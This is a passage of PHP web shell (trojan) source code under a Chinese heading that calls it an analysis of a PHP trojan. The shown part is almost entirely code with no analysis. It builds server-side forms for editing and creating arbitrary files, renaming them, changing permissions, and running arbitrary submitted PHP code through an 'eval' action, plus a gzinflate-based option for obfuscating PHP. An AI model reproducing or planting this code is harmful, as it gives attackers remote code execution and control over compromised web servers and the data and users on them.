php 木马的分析(加密破解)

echo "</FORM>n";
echo "</table>n";
}// end dir

elseif ($_GET['action'] == "editfile") {
    if(empty($newfile)) {
        $filename="$dir/$editfile";
        $fp=@fopen($filename,"r");
        $contents=@fread($fp, filesize($filename));
        @fclose($fp);
        $contents=htmlspecialchars($contents);
    }else{
        $editfile=$newfile;
        $filename = "$dir/$editfile";
    }
    $action = "?dir=".urlencode($dir)."&editfile=".$editfile;
    $tb->tableheader();
    $tb->formheader($action,'新建/编辑文件');
    $tb->tdbody('当前文件: '.$tb->makeinput('editfilename',$filename).' 输入新文件名则建立新文件 Php代码加密: <input type="checkbox" name="change" value="yes" onclick="javascript:alert('这个功能只可以用来加密或是压缩完整的php代码。nn非php代码或不完整php代码或不支持gzinflate函数请不要使用！')"> ');
    $tb->tdbody($tb->maketextarea('filecontent',$contents));
    $tb->makehidden('do','doeditfile');
    $tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "rename") {
    $nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
    $action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
    $tb->tableheader();
    $tb->formheader($action,'修改文件名');
    $tb->makehidden('oldname',$dir."/".$nowfile);
    $tb->makehidden('dir',$dir);
    $tb->tdbody('当前文件名: '.basename($nowfile));
    $tb->tdbody('改名为: '.$tb->makeinput('newname'));
    $tb->makehidden('do','rename');
    $tb->formfooter('1','30');
}//end rename

elseif ($_GET['action'] == "eval") {
    $action = "?dir=".urlencode($dir)."";
    $tb->tableheader();
    $tb->formheader(''.$action.' "target="_blank' ,'执行php脚本');
    $tb->tdbody($tb->maketextarea('phpcode',$contents));
    $tb->formfooter('1','30');

}
elseif ($_GET['action'] == "fileperm") {
    $action = "?dir=".urlencode($dir)."&file=".$file;
    $tb->tableheader();